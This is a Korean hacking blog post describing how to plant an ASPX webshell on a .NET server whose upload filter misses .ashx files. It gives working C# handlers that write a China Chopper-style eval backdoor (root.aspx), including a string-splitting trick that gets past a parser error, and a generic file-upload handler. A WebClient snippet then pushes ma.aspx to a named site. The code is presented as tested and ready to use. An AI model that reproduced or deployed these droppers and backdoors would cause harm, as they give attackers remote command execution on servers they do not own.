Ashx 스크립트에 대한 aspx 목마 쓰기 방법 요약

Author:Pnig0s1992
어느 역,.Net 환경, 업로드처는 Ashx와 Asmx를 제한하지 않습니다. 후자 업로드는 실행할 수 없습니다. Asmx 스크립트는 로컬에서만 실행할 수 있음을 알립니다. 그래서 Ashx 스크립트를 먼저 전송한 다음에 현재 디렉터리에서 Aspx 파일을 생성하려고 합니다. (목표는 Asp 파일을 실행할 수 없습니다).
온라인에서 다음과 같은 Ashx 코드를 찾을 수 있습니다.

  
  
  
  
  1. <%@ WebHandler Language="C#" Class="Handler" %> 
  2.  
  3. using System; 
  4. using System.Web; 
  5. using System.IO; 
  6. public class Handler : IHttpHandler { 
  7.     
  8.     public void ProcessRequest (HttpContext context) { 
  9.         context.Response.ContentType = "text/plain"
  10.          
  11.         StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx")); 
  12.         file1.Write("<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"pass\"],\"unsafe\");%>"); 
  13.         file1.Flush(); 
  14.         file1.Close(); 
  15.          
  16.     } 
  17.  
  18.     public bool IsReusable { 
  19.         get { 
  20.             return false
  21.         } 
  22.     } 
  23.  

스크립트의 Asp 한 마디를 부엌칼의 Aspx 한 마디로 바꿨어요. 그런데 실행할 때 알 수 없는 지령이 @Page라고 잘못 나왔어요.다음과 같은 두 가지 방법으로 해결할 수 있습니다.
1, 스트링으로 문자열 연결
 

  
  
  
  
  1. <%@ WebHandler Language="C#" Class="Handler" %> 
  2.  
  3. using System; 
  4. using System.Web; 
  5. using System.IO; 
  6. public class Handler : IHttpHandler { 
  7.      
  8.     public void ProcessRequest (HttpContext context) { 
  9.         context.Response.ContentType = "text/plain"
  10.         string show="<% @Page Language=\"Jscript\"%"+"><%eval(Request.Item"+"[\"chopper\"]"+",\"unsafe\");%>"
  11.         StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx")); 
  12.         file1.Write(show); 
  13.         file1.Flush(); 
  14.         file1.Close(); 
  15.          
  16.     } 
  17.  
  18.     public bool IsReusable { 
  19.         get { 
  20.             return false
  21.         } 
  22.     } 
  23.  

2. 비교적 멍청한 방법은 코드를 보자
 

  
  
  
  
  1. <%@ WebHandler Language="C#" Class="Uploader" %> 
  2. using System; 
  3. using System.IO; 
  4. using System.Web;    
  5.  
  6. public class Uploader : IHttpHandler 
  7.     public void ProcessRequest(HttpContext hc) 
  8.     { 
  9.         foreach (string fileKey in hc.Request.Files) 
  10.         { 
  11.             HttpPostedFile file = hc.Request.Files[fileKey]; 
  12.             file.SaveAs(Path.Combine(hc.Server.MapPath("."), file.FileName)); 
  13.         } 
  14.     }    
  15.  
  16.     public bool IsReusable 
  17.     { 
  18.         get { return true; } 
  19.     } 

그런 다음 VS를 사용하여 WinForm 프로그램을 만듭니다.
 

  
  
  
  
  1. System.Net.WebClient myWebClient = new System.Net.WebClient(); 
  2. myWebClient.UploadFile("http://www.xcnzz.com/Uploader.ashx""POST""C:\\ma.aspx"); 

실행하시면 됩니다~ 이상 방법 모두 테스트 성공~
P.S:Thx from T00ls.

좋은 웹페이지 즐겨찾기